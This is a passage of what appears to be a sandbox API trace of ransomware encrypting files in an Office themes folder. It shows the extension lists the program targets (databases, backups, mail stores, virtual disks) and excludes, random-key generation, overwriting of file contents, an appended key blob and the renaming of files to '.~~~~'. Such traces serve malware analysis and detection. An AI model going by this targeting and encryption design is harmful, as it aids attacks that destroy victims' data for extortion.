	[0085.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".accdb") returned 0x0
	[0085.514] lstrlenW (lpString=".DBX") returned 4
	[0085.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".DBX") returned 0x0
	[0085.514] lstrlenW (lpString=".MDT") returned 4
	[0085.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".MDT") returned 0x0
	[0085.514] lstrlenW (lpString=".SQB") returned 4
	[0085.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".SQB") returned 0x0
	[0085.514] lstrlenW (lpString=".vhd") returned 4
	[0085.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".vhd") returned 0x0
	[0085.514] lstrlenW (lpString=".bac") returned 4
	[0085.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".bac") returned 0x0
	[0085.514] lstrlenW (lpString=".mdf") returned 4
	[0085.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".mdf") returned 0x0
	[0085.514] lstrlenW (lpString=".BAK") returned 4
	[0085.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".BAK") returned 0x0
	[0085.514] lstrlenW (lpString=".BAC") returned 4
	[0085.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".BAC") returned 0x0
	[0085.515] lstrlenW (lpString=".dbs") returned 4
	[0085.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".dbs") returned 0x0
	[0085.515] lstrlenW (lpString=".vhdx") returned 5
	[0085.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".vhdx") returned 0x0
	[0085.515] lstrlenW (lpString=".NDF") returned 4
	[0085.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".NDF") returned 0x0
	[0085.515] lstrlenW (lpString=".dat") returned 4
	[0085.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".dat") returned 0x0
	[0085.515] lstrlenW (lpString=".DBS") returned 4
	[0085.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".DBS") returned 0x0
	[0085.515] lstrlenW (lpString=".CKP") returned 4
	[0085.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".CKP") returned 0x0
	[0085.515] lstrlenW (lpString=".edb") returned 4
	[0085.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".edb") returned 0x0
	[0085.515] lstrlenW (lpString=".PST") returned 4
	[0085.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".PST") returned 0x0
	[0085.515] lstrlenW (lpString=".dbf") returned 4
	[0085.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".dbf") returned 0x0
	[0085.515] lstrlenW (lpString=".SQL") returned 4
	[0085.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".SQL") returned 0x0
	[0085.515] lstrlenW (lpString=".pst") returned 4
	[0085.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".pst") returned 0x0
	[0085.515] lstrlenW (lpString=".dbv") returned 4
	[0085.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".dbv") returned 0x0
	[0085.515] lstrlenW (lpString=".SDF") returned 4
	[0085.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".SDF") returned 0x0
	[0085.515] lstrlenW (lpString=".dtxs") returned 5
	[0085.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".dtxs") returned 0x0
	[0085.515] lstrlenW (lpString=".db3") returned 4
	[0085.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".db3") returned 0x0
	[0085.515] lstrlenW (lpString=".OST") returned 4
	[0085.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".OST") returned 0x0
	[0085.516] lstrlenW (lpString=".dbx") returned 4
	[0085.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".dbx") returned 0x0
	[0085.516] lstrlenW (lpString=".DB3") returned 4
	[0085.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".DB3") returned 0x0
	[0085.516] lstrlenW (lpString=".DAT") returned 4
	[0085.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".DAT") returned 0x0
	[0085.516] lstrlenW (lpString=".VHDX") returned 5
	[0085.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".VHDX") returned 0x0
	[0085.516] lstrlenW (lpString=".ndf") returned 4
	[0085.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".ndf") returned 0x0
	[0085.516] lstrlenW (lpString=".DB") returned 3
	[0085.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".DB") returned 0x0
	[0085.516] lstrlenW (lpString=".sql") returned 4
	[0085.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".sql") returned 0x0
	[0085.516] lstrlenW (lpString=".MYD") returned 4
	[0085.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".MYD") returned 0x0
	[0085.516] lstrlenW (lpString=".DBT") returned 4
	[0085.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".DBT") returned 0x0
	[0085.516] lstrlenW (lpString=".ACCDB") returned 6
	[0085.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".ACCDB") returned 0x0
	[0085.516] lstrlenW (lpString=".fdb") returned 4
	[0085.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".fdb") returned 0x0
	[0085.516] lstrlenW (lpString=".bak") returned 4
	[0085.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".bak") returned 0x0
	[0085.516] lstrlenW (lpString=".myd") returned 4
	[0085.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".myd") returned 0x0
	[0085.516] lstrlenW (lpString=".DTXS") returned 5
	[0085.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".DTXS") returned 0x0
	[0085.516] lstrlenW (lpString=".ckp") returned 4
	[0085.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".ckp") returned 0x0
	[0085.517] lstrlenW (lpString=".dbt") returned 4
	[0085.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".dbt") returned 0x0
	[0085.517] lstrlenW (lpString=".db") returned 3
	[0085.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".db") returned 0x0
	[0085.517] lstrlenW (lpString=".TXT") returned 4
	[0085.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".TXT") returned 0x0
	[0085.517] lstrlenW (lpString=".MDF") returned 4
	[0085.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".MDF") returned 0x0
	[0085.517] lstrlenW (lpString=".bdb") returned 4
	[0085.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".bdb") returned 0x0
	[0085.517] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0085.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.517] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0085.518] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.518] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0085.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0085.518] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20550842338) returned 1
	[0085.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9cc9c930, dwHighDateTime=0x1d60e1e)) 
	[0085.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0085.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0085.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0085.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cd98
	[0085.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cd98 | out: hHeap=0x300000) returned 1
	[0085.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3abff0
	[0085.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abff0 | out: hHeap=0x300000) returned 1
	[0085.519] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0085.519] GetLastError () returned 0x0
	[0085.519] GetLastError () returned 0x0
	[0085.519] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0085.519] GetLastError () returned 0x0
	[0085.519] GetLastError () returned 0x0
	[0085.559] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff4cf2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.559] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xb30e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0xb30e, lpOverlapped=0x0) returned 1
	[0085.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.562] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.562] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.562] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.562] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.562] CloseHandle (hObject=0x11c) returned 1
	[0085.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fa20
	[0085.562] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm.~~~~")) returned 1
	[0085.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fa20 | out: hHeap=0x300000) returned 1
	[0085.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0085.563] GetLastError () returned 0x0
	[0085.564] RtlWakeConditionVariable () returned 0x365f70
	[0085.564] GetCurrentThreadId () returned 0xaf0
	[0085.564] GetCurrentThreadId () returned 0xaf0
	[0085.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abb58
	[0085.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abca8 | out: hHeap=0x300000) returned 1
	[0085.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cd60 | out: hHeap=0x300000) returned 1
	[0085.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abca8
	[0085.564] lstrlenW (lpString=".scr") returned 4
	[0085.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".scr") returned 0x0
	[0085.564] lstrlenW (lpString=".cmd") returned 4
	[0085.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".cmd") returned 0x0
	[0085.564] lstrlenW (lpString=".dll") returned 4
	[0085.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".dll") returned 0x0
	[0085.564] lstrlenW (lpString=".bat") returned 4
	[0085.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".bat") returned 0x0
	[0085.565] lstrlenW (lpString=".cpl") returned 4
	[0085.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".cpl") returned 0x0
	[0085.566] lstrlenW (lpString=".sys") returned 4
	[0085.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".sys") returned 0x0
	[0085.566] lstrlenW (lpString=".msc") returned 4
	[0085.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".msc") returned 0x0
	[0085.566] lstrlenW (lpString=".com") returned 4
	[0085.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".com") returned 0x0
	[0085.566] lstrlenW (lpString=".lnk") returned 4
	[0085.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".lnk") returned 0x0
	[0085.566] lstrlenW (lpString=".msp") returned 4
	[0085.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".msp") returned 0x0
	[0085.566] lstrlenW (lpString=".pif") returned 4
	[0085.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".pif") returned 0x0
	[0085.566] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0085.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0085.567] lstrlenW (lpString=".sqb") returned 4
	[0085.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".sqb") returned 0x0
	[0085.567] lstrlenW (lpString=".ost") returned 4
	[0085.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".ost") returned 0x0
	[0085.567] lstrlenW (lpString=".txt") returned 4
	[0085.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".txt") returned 0x0
	[0085.567] lstrlenW (lpString=".mdt") returned 4
	[0085.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".mdt") returned 0x0
	[0085.567] lstrlenW (lpString=".BDB") returned 4
	[0085.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".BDB") returned 0x0
	[0085.567] lstrlenW (lpString=".eql") returned 4
	[0085.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".eql") returned 0x0
	[0085.567] lstrlenW (lpString=".DBF") returned 4
	[0085.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".DBF") returned 0x0
	[0085.567] lstrlenW (lpString=".EQL") returned 4
	[0085.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".EQL") returned 0x0
	[0085.567] lstrlenW (lpString=".FDB") returned 4
	[0085.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".FDB") returned 0x0
	[0085.567] lstrlenW (lpString=".EDB") returned 4
	[0085.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".EDB") returned 0x0
	[0085.568] lstrlenW (lpString=".DACPAC") returned 7
	[0085.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".DACPAC") returned 0x0
	[0085.568] lstrlenW (lpString=".VHD") returned 4
	[0085.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".VHD") returned 0x0
	[0085.568] lstrlenW (lpString=".DBV") returned 4
	[0085.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".DBV") returned 0x0
	[0085.568] lstrlenW (lpString=".dacpac") returned 7
	[0085.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".dacpac") returned 0x0
	[0085.568] lstrlenW (lpString=".sdf") returned 4
	[0085.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".sdf") returned 0x0
	[0085.568] lstrlenW (lpString=".accdb") returned 6
	[0085.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".accdb") returned 0x0
	[0085.568] lstrlenW (lpString=".DBX") returned 4
	[0085.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".DBX") returned 0x0
	[0085.568] lstrlenW (lpString=".MDT") returned 4
	[0085.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".MDT") returned 0x0
	[0085.568] lstrlenW (lpString=".SQB") returned 4
	[0085.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".SQB") returned 0x0
	[0085.568] lstrlenW (lpString=".vhd") returned 4
	[0085.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".vhd") returned 0x0
	[0085.568] lstrlenW (lpString=".bac") returned 4
	[0085.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".bac") returned 0x0
	[0085.568] lstrlenW (lpString=".mdf") returned 4
	[0085.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".mdf") returned 0x0
	[0085.569] lstrlenW (lpString=".BAK") returned 4
	[0085.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".BAK") returned 0x0
	[0085.569] lstrlenW (lpString=".BAC") returned 4
	[0085.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".BAC") returned 0x0
	[0085.569] lstrlenW (lpString=".dbs") returned 4
	[0085.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".dbs") returned 0x0
	[0085.569] lstrlenW (lpString=".vhdx") returned 5
	[0085.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".vhdx") returned 0x0
	[0085.569] lstrlenW (lpString=".NDF") returned 4
	[0085.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".NDF") returned 0x0
	[0085.569] lstrlenW (lpString=".dat") returned 4
	[0085.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".dat") returned 0x0
	[0085.569] lstrlenW (lpString=".DBS") returned 4
	[0085.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".DBS") returned 0x0
	[0085.569] lstrlenW (lpString=".CKP") returned 4
	[0085.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".CKP") returned 0x0
	[0085.569] lstrlenW (lpString=".edb") returned 4
	[0085.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".edb") returned 0x0
	[0085.569] lstrlenW (lpString=".PST") returned 4
	[0085.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".PST") returned 0x0
	[0085.569] lstrlenW (lpString=".dbf") returned 4
	[0085.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".dbf") returned 0x0
	[0085.570] lstrlenW (lpString=".SQL") returned 4
	[0085.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".SQL") returned 0x0
	[0085.570] lstrlenW (lpString=".pst") returned 4
	[0085.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpSrch=".pst") returned 0x0
	[0085.570] lstrlenW (lpString=".dbv") returned 4
